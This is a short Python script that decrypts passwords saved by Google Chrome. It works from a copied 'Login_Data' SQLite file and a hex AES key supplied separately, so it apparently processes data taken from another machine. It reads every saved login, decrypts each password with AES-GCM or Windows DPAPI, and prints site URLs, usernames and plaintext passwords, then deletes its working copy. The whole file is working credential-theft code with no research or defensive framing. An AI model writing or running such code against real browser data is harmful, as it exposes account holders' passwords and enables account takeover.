passworddecryptscript.py

import os

import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta

#insert the key here 
hex_key = ""
#insert the path to the logged data file
chrome_path_login_db = r"C:\Users\User\Desktop\Login_Data"

def chrome_date_and_time(chrome_data):
	# Chrome_data format is 'year-month-date
	# hr:mins:seconds.milliseconds
	# This will return datetime.datetime Object
	return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)


def fetching_encryption_key():
	poop = bytes.fromhex(hex_key)
	return poop


def password_decryption(password, encryption_key):
	try:
		iv = password[3:15]
		password = password[15:]
		
		# generate cipher
		cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
		
		# decrypt password
		return cipher.decrypt(password)[:-16].decode()
	except:
		
		try:
			return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
		except:
			return "No Passwords"


def main():
	key = fetching_encryption_key()
	db_path = chrome_path_login_db
	filename = "ChromePasswords.db"
	shutil.copyfile(db_path, filename)
	
	# connecting to the database
	db = sqlite3.connect(filename)
	cursor = db.cursor()
	
	# 'logins' table has the data
	cursor.execute(
		"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
		"order by date_last_used")
	
	# iterate over all rows
	for row in cursor.fetchall():
		main_url = row[0]
		login_page_url = row[1]
		user_name = row[2]
		decrypted_password = password_decryption(row[3], key)
		date_of_creation = row[4]
		last_usuage = row[5]
		
		if user_name or decrypted_password:
			print(f"Main URL: {main_url}")
			print(f"Login URL: {login_page_url}")
			print(f"User name: {user_name}")
			print(f"Decrypted Password: {decrypted_password}")
		
		else:
			continue
		
		if date_of_creation != 86400000000 and date_of_creation:
			print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
		
		if last_usuage != 86400000000 and last_usuage:
			print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
		print("=" * 100)
	cursor.close()
	db.close()
	
	try:
		
		# trying to remove the copied db file as
		# well from local computer
		os.remove(filename)
	except:
		pass


if __name__ == "__main__":
	main()